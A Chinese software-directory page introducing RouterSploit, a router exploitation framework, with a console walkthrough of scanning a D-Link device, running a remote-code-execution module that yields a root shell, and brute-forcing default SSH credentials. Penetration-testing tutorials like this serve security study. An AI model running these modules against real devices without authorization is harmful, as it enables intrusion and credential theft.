RouterSploit

路由器漏洞检测及利用框架
授权协议 BSD
开发语言 Python
所属分类 管理和监控、 漏洞检测扫描和评估
软件类型 开源软件
地区 不详
投 递 者 汪典
操作系统 Linux
开源组织
适用人群 未知
 软件概览

RouteSploit框架是一款开源的漏洞检测及利用框架,其针对的对象主要为路由器等嵌入式设备。

asciicast

框架功能

RouteSploit框架主要由可用于渗透测试的多个功能模块组件组成,

1、 Scanners:模块功能主要为检查目标设备是否存在可利用的安全漏洞;

2、Creds:模块功能主要针对网络服务的登录认证口令进行检测;

3、Exploits:模块功能主要为识别到目标设备安全漏洞之后,对漏洞进行利用,实现提权等目的。

工具安装

sudo apt-get install python-requests python-paramiko python-netsnmpgit clone https://github.com/reverse-shell/routersploit ./rsf.py

GitHub地址如上命令中所述为:RouteSploit。

操作使用

首先,启动RouteSploit框架,具体如下所示

root@kalidev:~/git/routersploit# ./rsf.py 
 ______            _            _____       _       _ _
 | ___ \          | |          /  ___|     | |     (_) |
 | |_/ /___  _   _| |_ ___ _ __\ `--. _ __ | | ___  _| |_
 |    // _ \| | | | __/ _ \ '__|`--. \ '_ \| |/ _ \| | __|
 | |\ \ (_) | |_| | ||  __/ |  /\__/ / |_) | | (_) | | |_
 \_| \_\___/ \__,_|\__\___|_|  \____/| .__/|_|\___/|_|\__|
                                     | |
     Router Exploitation Framework   |_|

 Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)
 Codename : Wildest Dreams version  : 1.0.0

rsf >

1、Scanners 模块

scanners模块,具备设备漏洞扫描功能,通过该模块,可快速识别目标设备是否存在可利用的安全漏洞,下面会以一个dlink路由器为例,结合进行操作描述。

(1)选择scanners模块,操作如下,

rsf > use scanners/dlink_scan
rsf (D-Link Scanner) > show options

(2)显示选项

Target options:

   Name       Current settings     Description                                
   ----       ----------------     -----------                                
   target                          Target address e.g. http://192.168.1.1     
   port       80                   Target port

(3)设置目标设备IP

rsf (D-Link Scanner) > set target 192.168.1.1
[+] {'target': '192.168.1.1'}

(4)运行模块,执行情况如下,

rsf (D-Link Scanner) > run
[+] exploits/dlink/dwr_932_info_disclosure is vulnerable
[-] exploits/dlink/dir_300_320_615_auth_bypass is not vulnerable
[-] exploits/dlink/dsl_2750b_info_disclosure is not vulnerable
[-] exploits/dlink/dns_320l_327l_rce is not vulnerable
[-] exploits/dlink/dir_645_password_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_615_info_disclosure is not vulnerable
[-] exploits/dlink/dir_300_600_rce is not vulnerable

[+] Device is vulnerable!
 - exploits/dlink/dwr_932_info_disclosure

如上所呈现的结果,目标设备存在dwr_932_info_disclosure漏洞。接下来,我们选择合适的payload进行传递和测试(以下涉及exploits模块功能操作,如需,请再往下查阅),

6.png

2、Exploits 模块

(1)选择Exploits模块,操作如下,

rsf > use exploits/
exploits/2wire/     exploits/asmax/     exploits/asus/      exploits/cisco/     exploits/dlink/     exploits/fortinet/  exploits/juniper/   exploits/linksys/   exploits/multi/     exploits/netgear/
rsf > use exploits/dlink/dir_300_600_rce
rsf (D-LINK DIR-300 & DIR-600 RCE) >

我们也可以使用“tab”键来自动补充输入命令。

(2)显示选项

rsf (D-LINK DIR-300 & DIR-600 RCE) > show options

Target options:


   Name       Current settings     Description                                
   ----       ----------------     -----------                                
   target                          Target address e.g. http://192.168.1.1     
   port       80                   Target Port

设置选项,操作如下,

rsf (D-LINK DIR-300 & DIR-600 RCE) > set target http://192.168.1.1
[+] {'target': 'http://192.168.1.1'}

(3)运行模块

通过使用“run”或“exploit”命令来完成漏洞的利用,

rsf (D-LINK DIR-300 & DIR-600 RCE) > run
[+] Target is vulnerable
[*] Invoking command loop...
cmd > whoami
root

也可检测目标设备是否存在选定的安全漏洞,操作如下,

rsf (D-LINK DIR-300 & DIR-600 RCE) > check
[+] Target is vulnerable

(4)显示具体漏洞信息

通过“show info”命令,显示漏洞信息,包括其存在的设备品牌、型号、漏洞类型及参考来源,具体参考如下,

rsf (D-LINK DIR-300 & DIR-600 RCE) > show info

Name:
D-LINK DIR-300 & DIR-600 RCE

Description:
Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability which allows executing command on operating system level with root privileges.

Targets:
- D-Link DIR 300
- D-Link DIR 600

Authors:
- Michael Messner <devnull[at]s3cur1ty.de> # vulnerability discovery
- Marcin Bury <marcin.bury[at]reverse-shell.com> # routersploit module

References:
- http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router
- http://www.s3cur1ty.de/home-Network-horror-days
- http://www.s3cur1ty.de/m1adv2013-003

3、 Creds模块

(1)选择模块

此模块相关文件位于 /routesploit/modules/creds/ 目录下,以下为该模块支持检测的服务,

? ftp 

? ssh

? telnet

? http basic auth

? http form auth

? snmp

在检测过程中,可通过两个层面对上述的每个服务进行检测,

默认服务登录口令检测:利用框架提供的各类路由等设备以及服务的默认登录口令字典,通过快速列举的方式,可在较短时间内(几秒钟)验证设备是否仍使用默认登录口令;

暴力破解:利用框架中所提供的特定账户或者账户列表进行字典攻击。其中包含两个参数(登录账户及密码),如框架/routesploit/wordlists目录中字典所示,参数值可以为一个单词(如’admin’),或者是一整个单词列表。

(2)控制台

rsf > use creds/
creds/ftp_bruteforce         creds/http_basic_bruteforce  creds/http_form_bruteforce   creds/snmp_bruteforce        creds/ssh_default            creds/telnet_default         
creds/ftp_default            creds/http_basic_default     creds/http_form_default      creds/ssh_bruteforce         creds/telnet_bruteforce      
rsf > use creds/ssh_default
rsf (SSH Default Creds) >

(3)显示选项

5.png

(4)设置目标设备IP

rsf (SSH Default Creds) > set target 192.168.1.53
[+] {'target': '192.168.1.53'}

(5)运行模块

rsf (SSH Default Creds) > run
[*] Running module...
[*] worker-0 process is starting...
[*] worker-1 process is starting...
[*] worker-2 process is starting...
[*] worker-3 process is starting...
[*] worker-4 process is starting...
[*] worker-5 process is starting...
[*] worker-6 process is starting...
[*] worker-7 process is starting...
[-] worker-4 Authentication failed. Username: '3comcso' Password: 'RIP000'
[-] worker-1 Authentication failed. Username: '1234' Password: '1234'
[-] worker-0 Authentication failed. Username: '1111' Password: '1111'
[-] worker-7 Authentication failed. Username: 'ADVMAIL' Password: 'HP'
[-] worker-3 Authentication failed. Username: '266344' Password: '266344'
[-] worker-2 Authentication failed. Username: '1502' Password: '1502'

(..)

Elapsed time:  38.9181981087 seconds
[+] Credentials found!

Login     Password     
-----     --------     
admin     1234         

rsf (SSH Default Creds) >

介绍内容来自 FreeBuf黑客与极客

  • 1. 下载运行 RouterSploit #./rsf.py > use scanners/autopwn > show options > set target 192.168.1.1 > show options > run > use exploits/asmax/ar_1004g_password_disclosure > show options > set target 192.168

  • $ git clone https://github.com/reverse-shell/routersploit $ sudo pip install -r requirements.txt $ python2 rsf.py ______ _ _____ _ _ _ | ___ \ | |

  • 1.RSF「routersploit」简介 RouterSploit包含了27个品牌的上百种漏洞利用模块,涉及的路由器、摄像头,交换机等设备有几百种。   渗透的时候,用户首先根据目标设备的品牌选择对应的扫描模块,用以发现漏洞。一旦漏洞识别,就可以根据提示使用对应的漏洞利用模块,即可进行渗透攻击。   同时,该工具还提供授权认证爆破模块,用以破解设备常见服务的用户名和密码。   「项目地址:htt

 相关资料
  • 在完成对目标应用程序的信息收集和分析以及任何必须的 Burp 配置之后,您可以开始测试应用程序中常见的漏洞。在这个阶段,通常最有效的方法是同时使用 Burp 的多个组件,在不同组件之间传递个别请求以执行不同的任务,并返回浏览器进行一些测试。 在 Burp 中,您可以使用菜单在组件之间传递项目,并执行其他操作。 在 Burp 的默认配置中,它会自动对通过代理的所有请求和响应执行实时的被动扫描。因此,

  • 漏洞检测(该工具已下线) 漏洞检测工具使用说明 一,高危漏洞  高危漏洞包括SQL注入漏洞、XSS跨站脚本漏洞、页面存在源代码泄露、网站存在备份文件、网站存在包含SVN信息的文件、网站存在Resin任意文件读取漏洞。  SQL注入漏洞:网站程序忽略了对输入字符串中包含的SQL语句的检查,使得包含的SQL语句被数据库误认为是合法的SQL指令而运行,导致数据库中各种敏感数据被盗取、更改或删除。  XS

  • 漏洞利用是获得系统控制权限的重要途径。用户从目标系统中找到容易攻击的漏洞,然后利用该漏洞获取权限,从而实现对目标系统的控制。为了便于用户练习,本章将介绍Metasploit发布的Metasploitable 2。用户可以将其作为练习用的Linux操作系统。本章将利用Metasploitable系统上存在的漏洞,介绍各种渗透攻击,如MySQL数据库、PostgreSQL数据库及Tomcat服务等,其

  • 简介 一旦我们完成了漏洞扫描步骤,我们就了解了必要的知识来尝试利用目标系统上的漏洞。这一章中,我们会使用不同的工具来操作,包括系统测试的瑞士军刀 Metasploit。 6.1 安装和配置 Metasploitable 这个秘籍中,我们会安装、配置和启动 Metasploitable 2。 Metasploitable 是基于 Linux 的操作系统,拥有多种可被 Metasploit 攻击的漏洞

  • 在本节中,我们将更加深入地了解Metasploit,我们将看到如何使用它来利用某个服务中存在的漏洞。这是一个代码执行漏洞,可以让我们完全访问目标计算机。回到我们在Nmap中的结果,我们将做与以前一样的事情。复制服务名称,看看它是否有任何漏洞。现在我们查看端口139,它的Samba服务器版本为,就像上一节一样,在Google搜索Samba 3.X漏洞。我们将看到有很多结果,但主要是关于Rapid7方

  • 该部分承接前面的Web应用审计部分。在该部分中我们将关注于漏洞的利用,在结束时你应该能够熟练地识别和利用OWASP Top 10。 课程 前面的内容中我们已经介绍了Web安全的基础部分,所以现在在该部分中我们可以更深一步到一些能够获得更大效果的合适工具。学习掌握Burp Suite和Chrome开发者工具能够更好的理解和你交互的应用程序。BeEF是一个XSS代理的例子,通读它的源码学习它怎样工作将

  • 在该部分内容中,我们继续可利用漏洞的本地应用检查之路,并关注使用返回导向编程(ROP)来达到此目的。ROP是在代码结尾的返回指令中整合现有可执行片段的过程。通过创建这些“玩意儿”地址链可以在不引入任何新代码的情况下写新程序。 记住,在可利用程序的漏洞识别方法上你需要灵活应变。有时候有必要在漏洞利用开发过程中对一个漏洞多次利用。有时,你可能仅想用ROP来让你的shellcode执行,其他情况下,你可

  • 二进制的漏洞利用是破坏编译程序的过程,令程序违反自身的可信边界从而有利于你——攻击者。本部分中我们将聚焦于内存错误。通过利用漏洞来制造软件内存错误,我们可以用某种方式重写恶意程序静态数据,从而提升特定程序的权限(像远程桌面服务器)或通过劫持控制流完成任意操作和运行我们所用的代码。 如果你尝试在已编译的C程序中找bug,知晓你要找的东西是很重要的。从认识你发送的数据被程序用在什么地方开始,如果你的数